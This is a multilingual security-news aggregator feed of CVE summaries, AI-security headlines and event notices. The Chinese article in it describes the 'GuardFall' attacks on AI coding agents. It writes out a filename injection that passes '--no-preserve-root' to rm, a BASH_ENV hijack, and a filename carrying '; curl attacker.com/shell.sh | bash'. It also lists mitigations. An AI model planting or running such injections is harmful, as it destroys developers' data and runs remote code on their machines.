Aggregator

为在情报学领域深入落实国家人才培养战略，激发大学生对开源情报分析的热情，提升学生在数据采集、深度分析及情报应用等方面的综合能力，特举办“第四届全国大学生开源情报数据采集与分析挑战专项”活动。

在昨天报告的基础上进一步进行深度调研分析，形成以下报告。

A vulnerability has been found in Linux Kernel up to 7.1.4 and classified as very critical. The affected element is the function tcf_qevent_handle of the file net/sched/cls_api.c of the component cls_api. This manipulation causes use after free. This vulnerability appears as CVE-2026-64530. The attack may be initiated remotely. There is no available exploit. The affected component should be upgraded.

荣获全球权威咨询机构IDC认可

2026年7月，安全研究人员披露了一类针对AI Coding Agent的新型攻击手法：利用Bash的"老技巧"——通配符注入、环境变量劫持、命令分隔符——绕过Claude Code、Copilot、Cursor等主流工具的安全护栏。讽刺的是，这些语法诞生于1980年代，却轻松穿透了2020年代的AI安全防线。 攻击者的手法并不复杂。在开源仓库中植入一个文件名如"清理我 --no-preserve-root"的测试文件，当开发者让Agent执行rm *清理仓库时，Shell将空格分隔的多个词展开为独立参数，--no-preserve-root标志传给rm命令，导致整个目录树被删除。全程Agent无感知，用户零交互。 更隐蔽的攻击利用环境变量劫持。攻击者在仓库中埋伏.env文件，设置BASH_ENV=/tmp/malware.sh，当Agent执行任何Bash命令时，恶意脚本自动加载执行。还有命令分隔符注入：文件名中包含; curl attacker.com/shell.sh | bash，Agent解析文件名时触发命令执行。 GuardFall的核心威胁在于攻击门槛极低——无需漏洞利用、无需凭证窃取、无需复杂技术栈，只需要一个恶意文件名或环境变量配置。而且它影响所有主流AI Coding Agent，因为它们都默认开启了Shell执行权限。 修复？没有CVE，没有官方补丁。缓解措施包括：禁用非必要的Shell执行权限、在沙箱环境中运行Agent、使用参数确定性展开（避免通配符）、部署NVIDIA的SkillSpector扫描工具检测潜在注入点。 GuardFall给我们的启示是：AI安全不能只盯着模型本身，还要审视AI"继承"的传统技术债务。1980年代的Bash设计从未考虑过会被AI Agent调用，但这些"遗产"今天成了攻击者的捷径。安全左移在AI时代有了新含义——不仅要左移到开发阶段，还要左移到AI工具的设计阶段。当AI Agent被赋予Shell权限时，我们是否认真评估过这背后的风险？ 这起事件也提醒安全团队：AI安全测试需要跳出"提示注入"的思维定式，关注AI与底层系统交互的每一个环节。攻击者不会只盯着AI模型本身，他们会寻找AI"能力边界"的薄弱点——而Shell执行，恰恰是这些边界中最容易被忽视的一环。

Claude Opus 5 went live on Amazon Bedrock and Claude Platform on AWS. Anthropic says the model improves on Claude Opus 4.8’s cyber capabilities, coding through cybersecurity. Anyone with an AWS account in a supported region can call it. On higher-risk requests, Opus 5 hands the job back to Opus 4.8, the older model. The user sees a notice when that happens. API customers can configure the fallback. The guardrail that catches the riskiest requests … More →

The post Claude Opus 5 sharpens coding and cybersecurity work on AWS appeared first on Help Net Security.

Name: D^3CTF 2026 (an D^3CTF event.)
Date: July 25, 2026, noon — 26 July 2026, 12:00 UTC  [add to calendar]
Format: Jeopardy
On-line
Offical URL: https://d3c.tf/
Rating weight: 69.22
Event organizers: D^3CTF Organizers

AI agents are no longer passive tools waiting for simple prompts. A recent incident involving an OpenAI frontier model and […]

The post When AI Breaks Its Own Cage: The OpenAI Model That Hacked Hugging Face appeared first on HawkEye.

Крошечный полупроводник направил ток туда, куда указывает свет, хотя раньше такую роль отдавали только электрическому полю.

Теперь у хакеров будут клички вместо номеров.

A vulnerability was found in Microsoft Edge. It has been rated as problematic. Impacted is an unknown function. Performing a manipulation results in information disclosure. This vulnerability is known as CVE-2026-57990. Remote exploitation of the attack is possible. No exploit is available. To fix this issue, it is recommended to deploy a patch.

A vulnerability was found in Microsoft Edge. It has been declared as problematic. This issue affects some unknown processing. Such manipulation leads to improper authorization. This vulnerability is traded as CVE-2026-57989. The attack may be launched remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability was found in ggml-org llama.cpp e15efe0. It has been classified as critical. This vulnerability affects the function transform of the file common/json-schema-to-grammar.cpp of the component JSON-Schema-to-GBNF Conversion. This manipulation causes allocation of resources. This vulnerability appears as CVE-2026-17501. The attack may be initiated remotely. There is no available exploit. The pull request to fix this issue awaits acceptance.

A vulnerability was found in ggml-org llama.cpp d006858/e15efe0 and classified as problematic. This affects the function _visit_pattern of the file common/json-schema-to-grammar.cpp. The manipulation results in null pointer dereference. This vulnerability is reported as CVE-2026-17500. The attack can be launched remotely. No exploit exists. The pull request to fix this issue awaits acceptance.

Submit #798504 / VDB-383354

Submit #798503 / VDB-383353

A vulnerability has been found in Microsoft Edge and classified as critical. Affected by this issue is some unknown functionality. The manipulation leads to improper authorization. This vulnerability is documented as CVE-2026-57978. The attack can be initiated remotely. There is not any exploit available. The affected component should be upgraded.

Учёные 30 лет считали её застывшей — пока не построили первую 3D-модель разломов.

Anthropic’s Claude share links appeared in public search results, raising fresh privacy concerns for users who shared sensitive conversations. A Reddit post this weekend revealed that hundreds of Claude AI shared chats were publicly discoverable through Google. Users searching queries such as site:claude.ai/share could access conversations containing legal advice, engineering work, and personal discussions without […]

The post Claude AI Shared Chats Reportedly Exposed in Google Search Results appeared first on Cyber Security News.

Threat actors continued to combine classic exploitation techniques with AI-accelerated tooling this week, from a 15-year-old NGINX bug and an actively exploited Check Point authentication flaw to autonomous AI agents chaining zero-days against Hugging Face. Below is a roundup of 18 major stories covering ransomware, AI security, kernel vulnerabilities, cloud/SaaS abuse, and critical infrastructure flaws. […]

The post Weekly Cyber Security Newsletter Bulletin – Certighost Exploit, Checkpoint 0-day, HTTP/2 Flaw, Notepad++ Plugin Abuse +20 Stories appeared first on Cyber Security News.